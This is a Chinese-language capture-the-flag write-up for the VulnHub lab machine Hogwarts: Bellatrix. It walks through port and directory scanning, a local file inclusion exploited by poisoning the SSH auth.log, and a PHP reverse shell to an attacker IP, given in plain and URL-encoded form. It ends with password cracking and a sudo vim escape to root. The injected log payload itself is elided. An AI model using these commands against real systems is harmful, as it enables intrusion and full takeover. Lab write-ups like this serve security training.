- 靶机介绍
- 渗透过程
- 靶机IP
- 端口扫描
- 扫描网站目录
- 本地文件包含漏洞污染ssh日志文件getshell
- 提权
下载地址:http://www.vulnhub.com/entry/hogwarts-bellatrix,609/
难度:中等
靶机描述:
The evil Bellatrix Lestrange has escaped from the prison of Azkaban, but as … Find out and tell the Minister of Magic
Difficult: Medium
This works better in VirtualBox
Hints --> Brute force is not necessary, unless it is required. ncat is the key
Social-Media: Twitter --> @BertrandLorent9, Instagram --> @BertrandLorente9
给的提示说ncat很重要。
渗透过程 靶机IParp-scan -l
得到靶机的IP为192.168.1.103
nmap -A -T4 -p 1-65535 192.168.1.103
这里靶机开启了两个端口22和80。
dirb http://192.168.1.103本地文件包含漏洞污染ssh日志文件getshell
访问扫描到的http://192.168.1.103/index.php,打开之后是哈利波特里面的贝拉特里克斯,然后是满屏的“我杀了小天狼星”。
查看网页源码,这里注释里给了一个提示ikilledsiriusblack.php,然后下面被注释起来的代码可以看到可能存在本地文件包含漏洞(LFI),而且应该是用file命令。
在Vulnhub靶机_EVILBOX: ONE中我们已经见到过这个漏洞了。这次尝试用同样的方法发现不能获取到ssh密钥。可以通过污染ssh日志来getshell。
- 首先我们发现可以访问/var/log/auth.log
http://192.168.1.103/ikilledsiriusblack.php?file=/var/log/auth.log
- 污染ssh日志文件。
由于这个auth.log文件是我们尝试连接服务器时为每次成功和失败的登录尝试生成日志。那么就可以利用这个功能,发送恶意PHP代码将恶意代码作为新日志自动添加到auth.log文件中。在访问的时候就会执行我们加的恶意代码。
比如我们登录一个ssh,随便敲密码。
访问auth.log,他就会执行我们的命令。
那么我们用以下方式获取shell。
ssh ''@192.168.1.103
- 构造反弹shell脚本,我们查看本地IP是192.168.1.101
然后我们构造以下的网址来获取shell,端口号这里我填的4444。
http://192.168.1.103/ikilledsiriusblack.php?file=/var/log/auth.log&shell=php -r '$sock=fsockopen("192.168.1.101",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
然后用url编码器把shell后面的部分进行编码。
- 访问构造好的网址,同时用nc监听
http://192.168.1.103/ikilledsiriusblack.php?file=/var/log/auth.log&shell=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.1.101%22%2C4444)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27提权
/var/www/html目录下有一个base64编码的文件夹,解码后是secret的意思。
这个文件夹内有两个文件,其中.secret.dic应该是一个字典,Swordofgryffindor里面是lestrange的密钥乱码。
把字典和Swordofgryffindor复制到自己的kali里面,用John破解密码。
得到用户lestrange的密码ihateharrypotter。
切换用户,查看lestrange可以执行的sudo命令
这里(ALL:ALL) NOPASSWORD: /usr/bin/vim说明它可以免密用root权限使用vim命令。我们就可以使用以下命令获取root权限。vim中叹号会直接从编辑器中执行我们写的命令/bin/sh,从而获取root权限。
sudo vim -c ':!/bin/sh'
root目录下的flag。
bellatrix下的flag。
lestranger下的flag。
结束。



